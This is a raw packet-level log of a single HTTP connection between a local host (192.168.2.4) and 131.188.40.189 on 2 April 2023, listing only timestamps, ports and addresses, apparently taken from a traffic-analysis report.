Apr 2, 2023 09:51:05.973578930 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.973583937 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973608017 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973653078 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.973679066 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973706007 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973732948 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973752975 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.973758936 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973779917 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.973788023 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973809958 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973839045 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973838091 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.973860979 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973892927 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973907948 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.973941088 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.982790947 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.982825994 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.982893944 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.982918978 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.982922077 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.982959986 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.044549942 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.065156937 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065195084 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065243959 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065270901 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065284014 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.065298080 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065324068 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065345049 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.065350056 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065381050 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.065401077 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065428972 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065454006 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065464973 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.065483093 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065510988 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065517902 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.065572977 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065577984 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.065602064 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065630913 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065659046 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065664053 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.065690041 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065747023 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065748930 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.065778971 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065809011 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065809011 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.065835953 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065880060 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065906048 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.065932035 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065932989 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.065959930 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.065988064 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066014051 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066025019 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066040993 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066067934 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066092968 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066098928 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066118956 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066128969 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066148043 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066174984 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066176891 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066203117 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066229105 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066256046 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066261053 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066282988 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066287041 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066308975 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066329002 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066335917 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066354990 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066381931 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066411018 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066417933 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066428900 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066438913 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066457033 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066481113 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066483974 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066513062 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066540956 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066565037 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066566944 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066590071 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066592932 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066622019 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066649914 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066679001 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066687107 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066725969 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066729069 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066756964 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066783905 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066811085 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066823959 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066823959 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066838026 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066867113 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066894054 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066919088 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066921949 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066946983 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.066950083 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.066977024 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067013025 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067030907 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067039013 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067066908 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067075014 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067094088 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067121983 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067147970 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067151070 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067176104 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067176104 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067203999 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067230940 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067257881 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067259073 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067285061 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067286015 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067313910 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067342043 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067369938 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067368984 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067395926 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067397118 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067425013 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067451954 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067480087 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067481041 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067506075 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067506075 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067534924 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067563057 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067589045 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067606926 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067606926 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067612886 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067637920 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067662001 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067687035 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067696095 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067711115 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067724943 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067734957 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067758083 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067766905 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067790985 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067838907 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067856073 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067883015 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067907095 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067918062 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067929983 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067956924 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.067972898 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.067981958 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068006992 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068047047 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.068065882 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068073034 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.068120956 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068149090 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068176031 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068201065 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068206072 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.068228006 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068234921 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.068253994 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068294048 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.068311930 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068337917 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068365097 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068365097 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.068392038 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068418026 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068463087 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.068470001 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068495989 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068495989 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.068523884 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068552017 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068564892 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.068578959 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068603039 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068617105 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.068629980 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068655014 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.068680048 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068706036 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068732023 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068733931 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.068758011 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068783045 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068809986 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068856001 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.068856001 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.068861008 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068887949 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068913937 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068918943 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.068945885 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.068974018 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069025040 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069025040 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.069051981 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069055080 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.069078922 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069104910 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069117069 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.069129944 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069154978 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069165945 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.069211006 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069221020 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.069238901 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069264889 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069287062 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069305897 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069324970 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069344044 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069370031 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069392920 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.069396019 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069423914 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069447994 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069453955 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.069473982 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069480896 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.069499969 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069530010 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069562912 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.069586992 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069603920 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.069612980 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069638968 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069664001 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069679976 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.069690943 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069715977 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069742918 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.069772005 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.069777966 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069793940 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069806099 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069814920 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069840908 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069864035 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069868088 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.069886923 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069892883 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.069909096 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069916964 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.069932938 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069957018 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.069991112 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.070008993 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.070024967 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.070033073 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.070058107 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.070082903 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.070110083 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.070132017 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.070147991 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.070156097 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.070182085 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.070208073 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.070249081 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.070261955 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.070275068 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.070290089 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.070314884 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.070338964 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.070352077 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.070359945 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.070384979 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.070390940 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.070415974 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.070460081 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.070487976 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.070550919 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.090985060 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091010094 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091028929 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091047049 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091064930 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091075897 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091099024 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091111898 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091121912 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091124058 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091135979 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091150045 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091155052 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091171026 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091178894 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091198921 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091214895 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091219902 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091238022 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091245890 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091257095 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091275930 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091294050 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091306925 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091312885 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091331959 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091336012 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091350079 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091358900 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091367960 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091386080 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091403961 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091407061 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091423035 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091442108 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091459036 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091460943 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091481924 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.091487885 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.091500044 CEST	80	49724	131.188.40.189	192.168.2.4
